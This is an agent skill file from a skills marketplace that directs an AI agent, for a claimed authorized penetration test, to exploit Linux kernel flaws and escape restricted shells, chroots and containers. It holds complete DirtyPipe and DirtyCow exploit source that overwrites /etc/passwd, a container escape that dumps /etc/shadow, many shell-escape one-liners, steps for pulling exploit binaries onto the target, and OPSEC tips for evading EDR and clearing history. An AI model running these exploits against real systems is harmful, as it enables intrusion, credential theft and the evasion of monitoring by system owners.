# Linux Kernel Exploits

> Exploit Linux kernel vulnerabilities and escape restricted shells for privilege escalation.

- Skill: `blacklanternsecurity/linux-kernel-exploits` (Agent Skill)
- Install (CLI): `npx skillmds@latest add blacklanternsecurity/linux-kernel-exploits`
- Raw SKILL.md: https://api.skillmd.com/api/skills/blacklanternsecurity/linux-kernel-exploits/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: blacklanternsecurity (https://skillmd.com/u/blacklanternsecurity)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/blacklanternsecurity/linux-kernel-exploits

---


# Linux Kernel Exploitation and Restricted Shell Escape

You are helping a penetration tester exploit Linux kernel vulnerabilities and escape
restricted shell environments for privilege escalation. All testing is under explicit
written authorization.

## Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:
- Print `[linux-kernel-exploits] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
  descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

## State Management

Call `get_state_summary()` from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)

Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)

## Exploit and Tool Transfer

Never download exploits or scripts directly to the target from the internet.
Use the attackbox-first workflow:

1. **Download on attackbox** — `git clone`, `curl`, or `searchsploit -m` locally
2. **Review** — inspect source before transferring
3. **Serve** — `python3 -m http.server 8080` on attackbox
4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file`

If HTTP is not viable: `scp`, `nc`, or base64-encode and paste.

Inline C source written via heredoc in this skill (DirtyPipe, DirtyCow,
chroot escapes) does not need this workflow — it is embedded and reviewable.

## Prerequisites

- Shell access on Linux target (even restricted shell for escape techniques)
- For kernel exploits: gcc on target (or cross-compile on attacker and transfer)
- For exploit suggesters: ability to run scripts (bash/perl/python)

## Step 1: Identify Kernel and Environment

```bash
# Kernel version (primary identifier for CVE matching)
uname -r
uname -a
cat /proc/version

# Distribution and version
cat /etc/os-release 2>/dev/null
lsb_release -a 2>/dev/null
cat /etc/issue 2>/dev/null

# Architecture
uname -m
# x86_64, i686, aarch64, armv7l, etc.

# Check kernel protections
cat /proc/sys/kernel/randomize_va_space     # KASLR: 0=off, 2=full
cat /proc/sys/kernel/kptr_restrict          # Kernel pointer hiding: 0=visible
cat /proc/sys/kernel/yama/ptrace_scope      # ptrace: 0=permissive
cat /proc/sys/kernel/dmesg_restrict         # dmesg access: 0=all users

# Check security modules
sestatus 2>/dev/null                        # SELinux
aa-status 2>/dev/null                       # AppArmor
cat /proc/sys/kernel/modules_disabled       # Module loading: 1=disabled

# Compiler availability
which gcc cc g++ 2>/dev/null
gcc --version 2>/dev/null
```

**Decision tree** — determine the approach:

| Situation | Go to |
|-----------|-------|
| Known vulnerable kernel version | Step 2 (Exploit Suggesters) → Step 3 (CVE Exploits) |
| Unknown if kernel is vulnerable | Step 2 (Exploit Suggesters) |
| Restricted shell (rbash, rksh) | Step 5 (Restricted Shell Escape) |
| Chroot jail | Step 6 (Chroot Escape) |
| Container needing kernel exploit | Step 4 (Container Kernel Escapes) |

## Step 2: Exploit Suggesters

Run automated tools to identify applicable kernel CVEs.

### linux-exploit-suggester.sh

```bash
# On attackbox: download and review
curl -sL https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -o les.sh
# Review script, then serve:
# python3 -m http.server 8080

# On target: pull from attackbox
wget http://ATTACKBOX:8080/les.sh -O /tmp/les.sh
chmod +x /tmp/les.sh

# Run
/tmp/les.sh

# Run with specific kernel version (if can't determine automatically)
/tmp/les.sh --uname "3.10.0-514.el7.x86_64"

# Run with CVE filtering
/tmp/les.sh --cvelist-file /tmp/cves.txt
```

### linux-exploit-suggester-2.pl

```bash
# On attackbox: download and review
curl -sL https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl -o les2.pl
# Review script, then serve:
# python3 -m http.server 8080

# On target: pull from attackbox
wget http://ATTACKBOX:8080/les2.pl -O /tmp/les2.pl

# Run
perl /tmp/les2.pl

# With specific kernel
perl /tmp/les2.pl -k 3.10.0
```

### Manual Version Matching

```bash
# Search ExploitDB
searchsploit "linux kernel $(uname -r | cut -d'-' -f1)"
searchsploit "linux kernel" | grep -i "privilege\|local\|root"

# Check known vulnerable ranges (quick reference)
uname -r
```

**Quick kernel CVE version table:**

| CVE | Name | Vulnerable Kernels | Reliability |
|-----|------|--------------------|-------------|
| CVE-2016-5195 | DirtyCow | ≤ 4.8.3 (race condition) | High (but old) |
| CVE-2022-0847 | DirtyPipe | 5.8 – 5.16.11, 5.15.x < 5.15.25 | High |
| CVE-2023-0386 | OverlayFS (GameOver(lay)) | 5.11 – 6.2 (Ubuntu specific) | High |
| CVE-2023-32233 | Netfilter nf_tables UAF | 5.x – 6.3.1 | Medium |
| CVE-2024-1086 | Netfilter nf_tables UAF (v2) | 5.14 – 6.6 | Medium |
| CVE-2022-2588 | route4 UAF | 5.x – 5.19 | Medium |
| CVE-2021-4034 | PwnKit (pkexec) | Any with polkit ≤ 0.120 | High (userspace) |
| CVE-2022-0492 | Cgroup escape | 5.x (container) | Medium |
| CVE-2010-3904 | RDS | ≤ 2.6.36-rc8 | High (legacy) |
| CVE-2012-0056 | Mempodipper | 2.6.39 – 3.2.2 | High (legacy) |
| CVE-2010-4258 | Full Nelson | 2.6.37 | High (legacy) |

**Assess exploit suggester output** and go to Step 3 for the best-matching CVE.

## Step 3: Kernel CVE Exploitation

### CVE-2022-0847 — DirtyPipe

**Affected:** Linux 5.8 through 5.16.11 (and 5.15.x before 5.15.25)

**Check vulnerability:**

```bash
uname -r
# Must be 5.8.x through 5.16.11
# 5.15.x must be below 5.15.25

# Quick test: can you write to a read-only file?
# (The exploit does this programmatically)
```

**Exploit:**

```bash
# Option 1: Overwrite /etc/passwd (most reliable)
# Reference: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
# Inline source below — no transfer needed

cat > /tmp/dirtypipe.c << 'EXPLOIT'
/* CVE-2022-0847 — DirtyPipe /etc/passwd overwrite
 * Overwrites root's password hash in /etc/passwd to gain root access.
 * Based on Max Kellermann's original PoC.
 *
 * Compile: gcc -o dirtypipe dirtypipe.c
 * Usage:   ./dirtypipe
 * Then:    su root (password: piped)
 */
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

static void prepare_pipe(int p[2]) {
    if (pipe(p)) abort();
    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    static char buffer[4096];
    unsigned r;
    for (r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }
    for (r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }
}

int main() {
    const char *const path = "/etc/passwd";
    /* New root entry with password 'piped' */
    const char *const data = "root:$6$dirtypipe$JhEN7PSqFf5xHHLRGSCe1cMfCkVSWn4tajGbQn5Is.gx3TkSn1qFzjqOnETwELOjGODB5EhQXhUmL8OGBnMYq/:0:0::/root:/bin/bash\n";
    printf("[*] DirtyPipe CVE-2022-0847 — /etc/passwd overwrite\n");

    loff_t offset = 0;
    /* Find "root:" in /etc/passwd */
    int fd = open(path, O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }
    struct stat st;
    fstat(fd, &st);

    /* Read file to find root line offset */
    char *buf = malloc(st.st_size);
    read(fd, buf, st.st_size);
    char *root_line = strstr(buf, "root:");
    if (!root_line) { printf("[-] 'root:' not found\n"); return 1; }
    offset = root_line - buf;
    printf("[*] Found 'root:' at offset %lld\n", (long long)offset);

    /* Need at least 1 byte before the data in the same page */
    if (offset % PAGE_SIZE == 0) {
        printf("[-] Offset is page-aligned, exploit may not work\n");
        return 1;
    }

    const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
    const loff_t end = offset + (loff_t)strlen(data);
    if (end > next_page) {
        printf("[-] Data crosses page boundary\n");
        return 1;
    }

    close(fd);
    fd = open(path, O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }

    int p[2];
    prepare_pipe(p);

    --offset;
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    if (nbytes < 0) { perror("splice"); return 1; }

    nbytes = write(p[1], data, strlen(data));
    if (nbytes < 0) { perror("write"); return 1; }
    printf("[+] /etc/passwd overwritten. Run: su root (password: piped)\n");
    close(fd);
    free(buf);
    return 0;
}
EXPLOIT

gcc -o /tmp/dirtypipe /tmp/dirtypipe.c
/tmp/dirtypipe

# After exploit:
su root
# Password: piped
```

**Option 2: Overwrite SUID binary:**

```bash
# Some PoCs overwrite a SUID binary temporarily to get a shell
# Less reliable but doesn't modify /etc/passwd
# On attackbox: git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
# Review exploit-2.c, compile, then transfer binary to target
```

**Troubleshooting:**
- Exploit fails silently → kernel is patched (5.16.11+ or 5.15.25+)
- `splice: Invalid argument` → kernel too old (< 5.8) or feature disabled
- Restore original /etc/passwd: exploit should print backup; if not, use `cp /etc/passwd- /etc/passwd`

### CVE-2016-5195 — DirtyCow

**Affected:** Linux ≤ 4.8.3 (race condition in copy-on-write)

**Check vulnerability:**

```bash
uname -r
# Vulnerable if kernel < 4.8.3
# Most distros patched quickly — check distro-specific kernel version
```

**Exploit:**

```bash
# Option 1: Overwrite /etc/passwd (cowroot/dirty.c)
# Reference: searchsploit -m 40839 (inline source below — no transfer needed)

cat > /tmp/dirtycow.c << 'EXPLOIT'
/* CVE-2016-5195 — DirtyCow /etc/passwd modification
 * Compile: gcc -pthread -o dirtycow dirtycow.c
 * Usage:   ./dirtycow
 *
 * Race condition — may need multiple attempts.
 * Creates firefart:password root user.
 */
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;

/* New passwd line: firefart with password 'password' and UID 0 */
char *payload = "firefart:fi3sED95ibqR6:0:0:pwned:/root:/bin/bash\n";

void *madviseThread(void *arg) {
    while (!stop) {
        madvise(map, 100, MADV_DONTNEED);
        usleep(1);
    }
    return NULL;
}

void *procselfmemThread(void *arg) {
    char *str = (char *)arg;
    int f = open("/proc/self/mem", O_RDWR);
    int i;
    for (i = 0; i < 100000000 && !stop; i++) {
        lseek(f, (uintptr_t)map, SEEK_SET);
        write(f, str, strlen(str));
        usleep(1);
    }
    close(f);
    return NULL;
}

int main(int argc, char *argv[]) {
    printf("[*] DirtyCow CVE-2016-5195\n");

    f = open("/etc/passwd", O_RDONLY);
    fstat(f, &st);
    map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);

    printf("[*] Racing... this may take a moment\n");

    pthread_t pth1, pth2;
    pthread_create(&pth1, NULL, madviseThread, NULL);
    pthread_create(&pth2, NULL, procselfmemThread, payload);

    /* Wait for race to complete — typically 1-30 seconds */
    sleep(30);
    stop = 1;
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);

    printf("[+] Done. Try: su firefart (password: password)\n");
    return 0;
}
EXPLOIT

gcc -pthread -o /tmp/dirtycow /tmp/dirtycow.c
/tmp/dirtycow

# Wait ~30 seconds for race condition
su firefart
# Password: password
```

**Stability warning:** DirtyCow is a race condition. It can occasionally corrupt memory
or cause the system to become unstable. Warn the tester before executing.

**Troubleshooting:**
- Race never wins → increase sleep time, run multiple times
- System becomes unstable → reboot may be needed (check with client)
- Compiled on wrong architecture → cross-compile for target arch

### CVE-2023-0386 — GameOver(lay) / OverlayFS

**Affected:** Linux 5.11 through 6.2 (Ubuntu-specific overlayfs patches)

**Check vulnerability:**

```bash
uname -r
cat /etc/os-release
# Primarily affects Ubuntu kernels with overlayfs user namespace support
# Check if user namespaces are enabled:
cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null
sysctl kernel.unprivileged_userns_clone 2>/dev/null
```

**Exploit:**

```bash
# On attackbox: clone and compile
git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386
# Review source code
make
# Package for transfer
tar czf cve-2023-0386.tar.gz fuse exp ovlcap/
# Serve: python3 -m http.server 8080

# On target: pull from attackbox and extract
wget http://ATTACKBOX:8080/cve-2023-0386.tar.gz -O /tmp/cve-2023-0386.tar.gz
cd /tmp && tar xzf cve-2023-0386.tar.gz

# Terminal 1: Set up the FUSE mount
./fuse ./ovlcap/lower ./gc &

# Terminal 2: Trigger the exploit
./exp

# Should get root shell
id
```

**Alternative PoC repos** (clone on attackbox, review, then transfer):
- `https://github.com/sxlmnwb/CVE-2023-0386`
- `https://github.com/briskets/CVE-2023-0386`

**Prerequisites:**
- Ubuntu kernel with overlayfs user namespace support
- User namespaces enabled (unprivileged_userns_clone = 1)
- libfuse-dev for compilation

### CVE-2023-32233 — Netfilter nf_tables Use-After-Free

**Affected:** Linux 5.x through 6.3.1

```bash
uname -r
# Check if nf_tables module is loaded
lsmod | grep nf_tables

# On attackbox: git clone https://github.com/Liuk3r/CVE-2023-32233
# Review source, compile, then serve: python3 -m http.server 8080

# On target: pull from attackbox
wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
chmod +x /tmp/exploit
./exploit
```

### CVE-2024-1086 — Netfilter nf_tables Use-After-Free (v2)

**Affected:** Linux 5.14 through 6.6 (nf_tables module must be loaded)

This is a newer nf_tables UAF, distinct from CVE-2023-32233. It exploits a
double-free in `nft_verdict_init()` via user namespaces. More reliable than
CVE-2023-32233 on newer kernels but requires user namespace support.

**Check vulnerability:**

```bash
uname -r
# Must be 5.14.x through 6.6.x

# nf_tables module loaded
lsmod | grep nf_tables

# User namespaces enabled (required)
cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null
# Or: sysctl kernel.unprivileged_userns_clone

# Seccomp status (exploit may fail under seccomp)
grep Seccomp /proc/self/status
# Seccomp: 0 = no filter (good), 2 = filter active (may block)
```

**Exploit:**

```bash
# On attackbox: clone and compile
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
# Binary: exploit

# Transfer to target
# python3 -m http.server 8080
# On target: wget http://ATTACKBOX:8080/exploit -O /tmp/exploit_1086
chmod +x /tmp/exploit_1086
/tmp/exploit_1086
```

**Alternative PoC repositories** (if the primary fails):
- `https://github.com/Notselwyn/CVE-2024-1086` — original researcher's PoC
- `https://github.com/CCob/CVE-2024-1086` — alternative implementation

**Troubleshooting:**

| Symptom | Cause | Fix |
|---------|-------|-----|
| "failed to detect overwritten pte" | PTE spray didn't land | Race condition — retry 3-5 times. Try alternative PoC repos with different spray strategies |
| "pmd: 00000000cafebabe" | Sentinel value, spray completely missed | Kernel config may differ from what exploit expects. Try alternative PoC |
| Seccomp blocks syscalls | Shell has seccomp filter (common in PHP-FPM, Docker) | Run from a non-seccomp context (SSH session, not webshell) |
| "Operation not permitted" on CLONE_NEWUSER | User namespaces disabled | Check `kernel.unprivileged_userns_clone`. If 0, this exploit won't work |
| Exploit hangs | Race condition timing | Run with `timeout 120 /tmp/exploit_1086`. Kill and retry |
| Kernel panic/oops | UAF corruption | Inherent risk with UAF exploits. Warn client. May need box reboot |

**Key insight:** This exploit is a race condition. A single failure does NOT mean
the kernel is patched. Retry 3-5 times before concluding it's blocked. If all
retries fail with the same PTE error, try an alternative PoC repository — different
implementations use different spray strategies.

### CVE-2022-2588 — route4 Use-After-Free

**Affected:** Linux 5.x through 5.19

```bash
uname -r
# On attackbox: git clone https://github.com/Markakd/CVE-2022-2588
# Review source, compile: gcc -o exp exp.c -lpthread
# Serve: python3 -m http.server 8080

# On target: pull from attackbox
wget http://ATTACKBOX:8080/exp -O /tmp/exp
chmod +x /tmp/exp
./exp
```

### Legacy Kernel Exploits (Quick Reference)

For older kernels (≤ 3.x), these exploits are well-documented:

| CVE | Name | Kernel | ExploitDB |
|-----|------|--------|-----------|
| CVE-2010-3904 | RDS Protocol | ≤ 2.6.36-rc8 | 15285 |
| CVE-2010-4258 | Full Nelson | 2.6.37 | 15704 |
| CVE-2012-0056 | Mempodipper | 2.6.39 – 3.2.2 | 18411 |
| CVE-2013-2094 | perf_swevent | 2.6.32 – 3.8.9 | 25444 |
| CVE-2014-0196 | rawmodePTY | ≤ 3.14.3 | 33516 |
| CVE-2015-1328 | OverlayFS (Ubuntu) | 3.13 – 3.19 (Ubuntu) | 37292 |
| CVE-2017-16995 | eBPF verifier | 4.4 – 4.14 | 45010 |

```bash
# On attackbox: fetch from ExploitDB and compile
searchsploit -m EDBID
gcc -o exploit exploit.c -lpthread
# Review source, then serve:
# python3 -m http.server 8080

# On target: pull compiled binary from attackbox
wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
chmod +x /tmp/exploit
./exploit
```

### Pre-compiled Exploit Repositories

When gcc is unavailable on target, use pre-compiled binaries.
Clone on attackbox, review, then transfer the matching binary:

- `https://github.com/lucyoa/kernel-exploits` — organized by CVE with README
- `https://github.com/bwbwbwbw/linux-exploit-binaries` — pre-compiled for multiple archs
- `https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack` — broader collection

```bash
# On target: identify architecture
uname -m
file /bin/ls

# On attackbox: clone matching repo, select binary for target arch
# git clone https://github.com/lucyoa/kernel-exploits
# Review binary provenance, then serve:
# python3 -m http.server 8080

# On target: pull from attackbox
wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
chmod +x /tmp/exploit
```

## Step 4: Container Kernel Escapes

When exploiting from inside a container, certain kernel CVEs enable host escape.

### CVE-2022-0492 — Cgroup release_agent

**Affected:** Containers with CAP_SYS_ADMIN (privileged containers)

```bash
# Check if in container
cat /proc/1/cgroup 2>/dev/null | grep -qE "docker|lxc|kubepods" && echo "CONTAINER"
cat /.dockerenv 2>/dev/null && echo "DOCKER"

# Check capabilities
capsh --print 2>/dev/null | grep cap_sys_admin

# Mount cgroup
mkdir -p /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || mount -t cgroup -o memory cgroup /tmp/cgrp

# Create child cgroup
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release

# Find host path to container filesystem
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

# Set release agent to host-accessible payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Create payload on container filesystem (visible to host via overlay)
cat > /cmd << 'PAYLOAD'
#!/bin/sh
# Runs on HOST when cgroup is released
ps aux > /output  # Proof of host execution
cat /etc/shadow > /shadow_dump
PAYLOAD
chmod 755 /cmd

# Trigger release — add and remove a process from cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Check output
cat /output 2>/dev/null
cat /shadow_dump 2>/dev/null
```

### Privileged + hostPID Escape

```bash
# If --privileged --pid=host was used:
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Now in host namespace as root
```

**Route to container escape skills** (Phase 6) for comprehensive container breakout.

## Step 5: Restricted Shell Escape

Escape restricted shell environments (rbash, rksh, rzsh) to get a full shell.

### Identify Restrictions

```bash
# Check shell type
echo $SHELL
echo $0

# Test what's restricted
cd /tmp           # cd blocked?
echo test > /tmp/test   # redirect blocked?
export PATH=/usr/bin    # PATH modification blocked?
command -v python3      # What commands are available?
```

### GTFOBins Shell Escapes

If any of these binaries are available, use them to spawn a full shell:

**Editors:**

```bash
# vi/vim
vi -c ':!/bin/bash'
vi -c ':set shell=/bin/bash' -c ':shell'
:!bash                    # From within vi

# ed
ed
!bash

# nano (if shell command enabled)
# Ctrl-R, Ctrl-X → enter command
```

**Pagers:**

```bash
# less
less /etc/passwd
!/bin/bash              # From within less

# more
more /etc/passwd
!/bin/bash              # Works when output doesn't fit screen

# man
man man
!/bin/bash              # From within man pager
```

**Interpreters:**

```bash
# python/python3
python3 -c 'import os; os.system("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# perl
perl -e 'exec "/bin/bash";'

# ruby
ruby -e 'exec "/bin/bash"'

# lua
lua -e 'os.execute("/bin/bash")'

# php
php -r 'system("/bin/bash");'
```

**System utilities:**

```bash
# find
find / -name whatever -exec /bin/bash \;
find . -exec /bin/bash \;

# awk/gawk
awk 'BEGIN {system("/bin/bash")}'

# nmap (old versions with --interactive)
nmap --interactive
!bash

# expect
expect -c 'spawn /bin/bash; interact'

# ftp
ftp
!/bin/bash

# ssh (to localhost)
ssh -o ProxyCommand=';bash 0<&2 1>&2' x
```

**File utilities:**

```bash
# zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

# tar
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# tee (write to file, bypass redirect restriction)
echo "content" | tee /tmp/output
```

### PATH Manipulation

```bash
# If PATH modification is allowed:
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH

# Copy bash to an allowed directory
cp /bin/bash /tmp/bash 2>/dev/null
/tmp/bash
```

### Bash Variable Tricks

```bash
# BASH_CMDS — register custom commands
BASH_CMDS[shell]=/bin/bash
shell

# Declare trick
declare -n PATH
export PATH=/bin:/usr/bin
bash -i

# Function override
function /usr/sbin/allowed_command { /bin/bash; }
export -f /usr/sbin/allowed_command
/usr/sbin/allowed_command
```

### SSH-Based Escapes

```bash
# Force full bash via SSH
ssh user@localhost -t bash
ssh user@localhost -t "bash --noprofile --norc"

# ShellShock (CVE-2014-6271) if old bash
ssh user@localhost -t '() { :; }; /bin/bash'
```

### Language-Specific Jail Escapes

**Python sandbox escape:**

```python
# If in a Python jail, access __builtins__
__builtins__.__import__('os').system('/bin/bash')

# Or via subclasses
''.__class__.__mro__[1].__subclasses__()
# Find subprocess.Popen or os._wrap_close, call it
```

**Lua jail escape:**

```lua
-- If in Lua jail, check available functions
for k,v in pairs(_G) do print(k) end
os.execute("/bin/bash")
-- Or: io.popen("/bin/bash"):read("*a")

-- Encoded bypass
load(string.char(111,115,46,101,120,101,99,117,116,101,40,34,47,98,105,110,47,98,97,115,104,34,41))()
```

After escaping → re-enumerate with full shell, route to **linux-discovery** for complete
privilege escalation assessment.

## Step 6: Chroot Escape

Escape chroot jails when you have root inside the chroot.

### Classic Chroot Escape (Root Required)

```c
/* Compile: gcc -o chroot_escape chroot_escape.c
 * Must be run as root INSIDE the chroot.
 * Creates a new chroot, then uses relative paths to escape. */
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    mkdir("escape_dir", 0755);
    chroot("escape_dir");
    /* Now our root is escape_dir, but CWD is still outside it */
    int i;
    for (i = 0; i < 100; i++) chdir("..");
    chroot(".");
    printf("[+] Escaped chroot\n");
    execl("/bin/bash", "bash", NULL);
    return 0;
}
```

**Python variant:**

```python
import os
os.mkdir("escape_dir")
os.chroot("escape_dir")
for i in range(100): os.chdir("..")
os.chroot(".")
os.execl("/bin/bash", "bash")
```

### File Descriptor Escape (Root Required)

```c
/* Open FD before chroot, use fchdir to escape */
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    int fd = open("/", O_RDONLY);  /* Save FD to real root */
    mkdir("jail", 0755);
    chroot("jail");
    fchdir(fd);                    /* Go back to real root via FD */
    close(fd);
    for (int i = 0; i < 100; i++) chdir("..");
    chroot(".");
    printf("[+] Escaped via saved FD\n");
    execl("/bin/bash", "bash", NULL);
    return 0;
}
```

### Mount-Based Escape

```bash
# If CAP_SYS_ADMIN inside chroot:
mkdir /tmp/escape
mount -t proc proc /tmp/escape
# Access /tmp/escape/1/root for init's root filesystem
ls /tmp/escape/1/root/
chroot /tmp/escape/1/root bash
```

### Chroot Escape Tools

- **chw00t** — automated chroot escape tool:
  ```bash
  # https://github.com/earthquake/chw00t
  ./chw00t -e classicaliases
  ./chw00t -e mountproc
  ./chw00t -e ptrace
  ```

**Troubleshooting:**
- `mkdir: Permission denied` → not root inside chroot
- `chroot: Operation not permitted` → seccomp or LSM blocking chroot syscall
- Escape works but no binaries → mount host filesystem or use statically compiled tools

## Step 7: Post-Exploitation and Routing

## Troubleshooting

| Problem | Cause | Fix |
|---------|-------|-----|
| Exploit segfaults | Wrong architecture or kernel config | Check `uname -m`, cross-compile for target |
| Exploit hangs | Race condition timing | Increase sleep/retry, run multiple instances |
| gcc not available | Minimal install | Cross-compile on attacker, transfer binary |
| `Operation not permitted` | SELinux/AppArmor blocking | Check `sestatus`, `aa-status`; may need bypass |
| Exploit succeeds but no root | EUID not propagated | Use `bash -p` or check if SUID was dropped |
| System crashes after exploit | Kernel corruption | Some exploits are destructive; warn client |
| Container exploit fails | Not privileged container | Check `capsh --print`; need CAP_SYS_ADMIN minimum |
| rbash blocks everything | Very restrictive config | Try SSH-based escape or language interpreters |
| Chroot escape fails | Not root in chroot | Need root inside chroot first; try other privesc |
| Compiler errors | Missing headers/libs | Use `-static` flag, or pre-compiled binaries |

## Cleanup Reminders

Remind the user to clean up after testing:

```bash
# Remove compiled exploits
rm -f /tmp/dirtypipe /tmp/dirtypipe.c /tmp/dirtycow /tmp/dirtycow.c
rm -f /tmp/les.sh /tmp/les2.pl /tmp/chroot_escape

# Restore /etc/passwd if modified by DirtyPipe
# DirtyPipe: original backed up as /etc/passwd- (if exists)
cp /etc/passwd- /etc/passwd 2>/dev/null

# Restore /etc/passwd if modified by DirtyCow
# DirtyCow: remove firefart user
sed -i '/^firefart:/d' /etc/passwd

# Remove SUID shells
rm -f /tmp/rootbash

# Remove cgroup artifacts (container escape)
rmdir /tmp/cgrp/x 2>/dev/null
umount /tmp/cgrp 2>/dev/null
rm -f /cmd /output /shadow_dump

# Clear history
history -c
```

## OPSEC Notes

**Kernel exploits are HIGH OPSEC risk:**
- Compilation on target creates gcc process and object files
- Exploit execution may trigger kernel oops/panic (visible in dmesg, syslog)
- Failed exploits may leave processes or corrupt memory
- CrowdStrike/EDR detects known exploit binaries by hash and behavior
- Audit logs capture execve of exploit binaries

**Mitigation:**
- Cross-compile on attacker machine when possible
- Use `/dev/shm` or `/tmp` for staging (tmpfs, not written to disk)
- Run exploits inside `timeout` to prevent hangs: `timeout 60 ./exploit`
- Have a rollback plan before running any kernel exploit
- Always warn about stability risks before executing

